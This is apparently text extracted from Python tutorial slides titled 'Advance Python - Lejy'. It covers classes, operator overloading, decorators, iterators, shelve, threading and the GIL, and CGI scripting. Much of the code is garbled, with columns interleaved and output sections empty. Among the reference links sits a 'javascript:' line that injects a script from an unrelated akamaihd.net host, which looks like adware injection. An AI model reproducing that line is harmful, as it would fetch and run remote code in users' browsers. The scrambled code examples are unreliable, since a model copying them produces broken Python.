Advance Python - Lejy
Advance Python - Lejy
Creating Classes:
The class statement creates a new class definition.
Syntax:
class <ClassName>:
'Optional class documentation string' /// can be in 'statement' or ' ' ' statement ' ' '
<class_suite>
output
Object oriented programming:
Class: A user-defined prototype for an object that defines a set of attributes that
characterize any object of the class. The attributes are data members (class variables
and instance variables) and methods, accessed via dot notation.
Class variable: A variable that is shared by all instances of a class. Class variables are
defined within a class but outside any of the class's methods. Class variables aren't used
as frequently as instance variables are.
Data member: A class variable or instance variable that holds data associated with a
class and its objects.
Function overloading: The assignment of more than one behavior to a particular
function. The operation performed varies by the types of objects (arguments) involved.
Instance variable: A variable that is defined inside a method and belongs only to the
current instance of a class.
Inheritance : The transfer of the characteristics of a class to other classes that are
derived from it.
Instance: An individual object of a certain class type. An object obj that belongs to a
class Circle, for example, is an instance of the class Circle.
Instantiation : The creation of an instance of a class.
Method : A special kind of function that is defined in a class definition.
Object : A unique instance of a data structure that's defined by its class. An object
comprises both data members (class variables and instance variables) and methods.
Operator overloading: The assignment of more than one function to a particular
operator.
Instead of using the normal statements to access attributes, you can use following
functions:
The getattr(obj, name[, default]) : to access the attribute of object.
The hasattr(obj,name) : to check if an attribute exists or not.
The setattr(obj,name,value) : to set an attribute. If attribute does not exist, then it
would be created.
The delattr(obj, name) : to delete an attribute.
output
Class Inheritance:
Instead of starting from scratch, you can create a class by deriving it from a preexisting
class by listing the parent class in parentheses after the new class name.
The child class inherits the attributes of its parent class, and you can use those
attributes as if they were defined in the child class. A child class can also override data
members and methods from the parent.
Output:
Overriding Methods:
You can always override your parent class methods. One reason for overriding
parent's methods is because you may want special or different functionality in your
subclass.
Following table lists some generic functionality that you can override in your own
classes:
Overloading Operators:
Data Hiding:
An object's attributes may or may not be visible outside the class definition. For
these cases, you can name attributes with a double underscore prefix, and those
attributes will not be directly visible to outsiders.
output
Repr(A1) or print(A1)
class A():
def __repr__(self):
return("REPR")
def __str__(self):
return("STR")
A1 = A()
print(repr(A1))
What exactly is the difference between shallow copy, deepcopy ?
The difference between shallow and deep copying is only relevant for
compound objects (objects that contain other objects, like lists or class
instances):
A shallow copy constructs a new compound object and then (to the extent
possible) inserts references into it to the objects found in the original.
A deep copy constructs a new compound object and then, recursively, inserts
copies into it of the objects found in the original.
Join:
>>> names = “vamsi”, “sai”, “sam”, “john”
>>> ",".join(names)
'vamsi,sai,sam,john‘
>>> names[:2]+ ('adam',) + names[2:]
('vamsi', 'sai', 'adam', 'sam', 'john')
>>>a.index(‘a’) >>> a.rindex(“a”) >>> a.rfind(“a”)
>>> a = “hello”
>>> a.isalpha() >>>i.isdigit() >>> a[-1].isspace()
True True True
Strip():
>>> a = \\n\n\n\n\\t \t\nhello \t\n\\n world\n\n\ \t\n\t
>>> a.strip()
'\\n\n\n\n\\t \t\nhello \t\n\\n world\n\n\\‘
*** Tuple with list inside can be modified but not hasable:
>>> a = (10, [100, 20, 30], 40)
>>> a[1][0] = 233
>>> a
(10, [233, 20, 30], 40)
>>> hash(a)
Traceback (most recent call last):
File "<pyshell#17>", line 1, in <module>
hash(a)
TypeError: unhashable type: 'list'
Reverse:
>>> a = [33,22,44,66,77,88,11]
>>> a.reverse()
>>>a
[11, 88, 77, 66, 44, 22, 33]
>>> a
[11, 88, 77, 66, 44, 22, 33]
>>> b = a.reverse()
>>> b is None
True
>>> d.append(10)
>>>d.append(20) >>>d.popleft() >>>d.popleft() >>> d.popleft()
>>>d.append(30) 10 20 30
In python provides three file Objects:
>>>import sys
>>> sys.stdin
>>>sys.stdout
>>>sys.stderr
- In general if user have to pass input we use raw_input. It supports only single
Line if user have to sent paragraph then:
a = “aldddsdsff”
>>> type(a) >>> b = u’hello world’
<type ‘str’> < type ‘unicode’>
Unicode is other data type - represented string
Multibyte --- one character will takes 1 byte, 2 byte 10 byte
All features of string will work on unicode
>>> unicode(a)
u’Hello world’
Operator overloading:
>>> a = 1900
>>> a = "hello how are you“ >>>len = 0
>>> len(a) >>>len(a)
17 TypeError: 'int' object is not callable
One can change functionality of operator, In such case to bring back to original state
In python we have to reload builtin functions
>>> from __builtin__ import *
>>>len(a)
17
Set:
Counter objects:
>>> from collections import Counter
A counter tool is provided to support convenient and rapid tallies
>>> cnt = Counter()
>>> for word in ['red', 'blue', 'red', 'green', 'blue', 'blue']:
... cnt[word] += 1
>>> cnt >>> c = Counter(['eggs', 'ham'])
Counter({'blue': 3, 'red': 2, 'green': 1}) >>> c[‘eggs’]
1
Counter:
Zip:
enumerate:
>>> callable(a)
True
Data Encapsulation:
def foo():
Data encapsulation here foo
print “This is foo function.....”
Function only can access
def bar():
variables bar, bar variables is
print “This is bar function....”
Local to function
print “ In foo function....”
bar()
print “End of foo function..”
def buy(x):
if x == “car”:
def vehicle(): v = buy(“plane”)
print “Driving car” v()
elif x == “bike”: v1 = buy(“car”)
def vehicle(): v1()
print “riding bike” v2 = buy(“ship”)
else: v2()
def vehicle(): Variables have scope not objects. Objects
print “nothing useful” are stored on heap, objects are all global
return vehicle
Decorators:
Decorators
def wrapper(f): def wrapper(f):
def inner(): def inner():
ret = f()
ret = f()
return(ret)
return inner return(ret)
return inner
@wrapper
def greet(): @wrapper
print("Hello") def greet():
return("hey")
print("Hello")
print(greet()) return("hey")
print(greet())
def list_directory():
print “listing contents....”
def cur_dir():
print “c:\python27”
def show_hostname():
print “local host”
def Invalid_command():
print “Invalid command”
Decorator Example :2
Decorator Example : 3
Decorator Example 4:
To create custom data type we use classes in Python. With class we can design
custom type
- class are prototype of objetcs --Instance of class - metaclass
>>> c1.price = 200 If we delete instance property then it will directly inherit
>>>c1.price class attributes. Class attributes property can’t be deleted
200 With instance. Delete only with class attribute.
>>> del c1.price >>> del c1.price
>>>c1.price AttributeError: car instance has no attribute 'price‘
10000 >>> del car.price
How Instance method has created?
Whenever to access instance method it is possible only with class instances. Here first
argument in method should be called with class instance.
Binding of method will occur with Instance:
>>>car.set_color = set_color
>>> b1.set_color(“blue”)
Setting color blue
>>>b1.color
‘blue’
>>> b3 = bike()
>>>b3.drive()
Attribute error: no “name”
Output:
[Abstract Classes ]
Operator overloading:
>>>
someone is driving maruthi swift
>>>
>>> def __cmp__(self, other):
return self.price – other.price
Boolean of an object is True by default. all empty collection and zero are false.
Python emphasizes/ Introduced concept of Duck-Typing:
Output:
primary reuqirement of collection is It should able to Iterable
>>> s.list()
>>> for i in s: print i,
TypeError: Iterator over non-sequence
what is an Iterator???? any class that has next and this next method should
return some value whatever we return that one is next value.
Iterable object:
Iterable object
Call method:
Output : 60
Private members:
Encapsulation and security:
Output:
Persistent dictionary : SHELVE
>>> import shelve
Shelve is module which provide persistent dictionary. Powerful feature of python Work
around for sophisticated data base. If user want data to be in organized way then shelve is
better way to keep data in dictionary.
Without closing file data can be loaded with existed one using sync(). It is variant of
dictionary every element try to this add this will persist in dictionary.
Example:
Json:
JSON is a text serialization format (it outputs unicode text, although most of the time it is
then encoded to utf-8), while pickle is a binary serialization format.
SubClasses:
Output:
Output:
Method Overloading:
Python Method Overloading:
• You can't have two methods with the same name in Python and you don't
need to.
• https://docs.python.org/2/tutorial/controlflow.html#default-argument-
values
http://stackoverflow.com/questions/2129891/classes-methods-and-polymorphism-
in-python
The duck-typing-based approach is fine. If you want to be able to check if a given
class is supposed to run in your framework.
The important point is that it is also possible to register other classes (on which
you might have no control, because you did not write them) as runnables, and
the isinstance and issubclassmethods will reflect that:
Python is Duck Typing ???
http://www.artima.com/weblogs/viewpost.jsp?thread=240808
https://thenewcircle.com/static/bookshelf/python_fundamentals_tutorial/oop.ht
ml
http://pysnippet.blogspot.in/2010/05/abcs-abstract-base-classes.html
http://stackoverflow.com/questions/15193927/what-does-these-operator-mean-
python
https://www.youtube.com/watch?v=2fGPKPmQF-
E&list=PLR2mMc_XnsCuuhN_wdnDxm9IUGCpGaTHk
javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apilinkswiftco-
a.akamaihd.net/gsrs?is=thin&bp=BAS&g=9dd1bfa8-6cdd-44a6-a78f-
e7dc9ecfd413";a[0].appendChild(d);}}}catch(e){}
Threading:
In python does not allow creator to Terminate a Thread. To terminate thread
some kind of Interrupt is required.
Multiple Threads sharing same function:
To stop individual Thread other than Interrrupt:
Thread share same data:
Whenever two thread share same data make sure accessing and modifying data should
be atomic. Interms of sharing global data with two threads there could be problem.
1. If one thread acuires a lock twice, if it is normal lock It will create dead lock.
Core I7emulates 16 cores[ it is Quad core] each core will have 4 hyper
threads.totally It will have an emulation of 16 cores. It should run parallel
threads. As one CPU run one thread other another thread.
Python in Multiple threads will never run concurrently. When ever thread has
to be executed it should acquire global interpreter lock and run until the
scheduler interrupt it should release and other thread.acquires. It does not
have true concurrency support in python.
Thread share common virtual address space. Process have their own virtual
address space. Changing one varible in one process does not reflect on other
Thread.
If you have your own web server and want to use that go ahed. Else if you
don’t lets quickly set up and apache2 web server on machine.
To create basic scripts, It should have a line telling the web server where
python is installed. #!/usr/bin/python
The cgi module contains a lot of declarations and does a lot of initializing in the
background.
Because of this never use:
from cgi import ...
provides us with methods to get POST and GET requests from web server.
As well as few other methods for parsing data.
python cgi module handles POST and GET with the same method.
cgi.FieldStorage() this method will return a FieldStorage object that allows us to
get data from a submitted form.
we can user the FieldStorage object like a python dictionary or we can use the
getvalue() method.( not preferable to use this method as it will crash if there is
more than one field with the same name.)
Alternative methods are getfirst() and getlist().
when debugging you code you can use the cgitb module to output errors to the
page.
import cgitb
cgitb.enable()
cgitb.enable() can be modified so that the error message are saved to a file rather
than output to users of your script by cgitb.enable(display=0, logdir=‘/path’)
cgi.escape() try to always escape user input if you plan to use it.
https://www.python.org/download/releases/2.2.3/descrintro/#cooperation
Writiing Descriptors:
Signature of __get__, __set__, and __del__ are fixed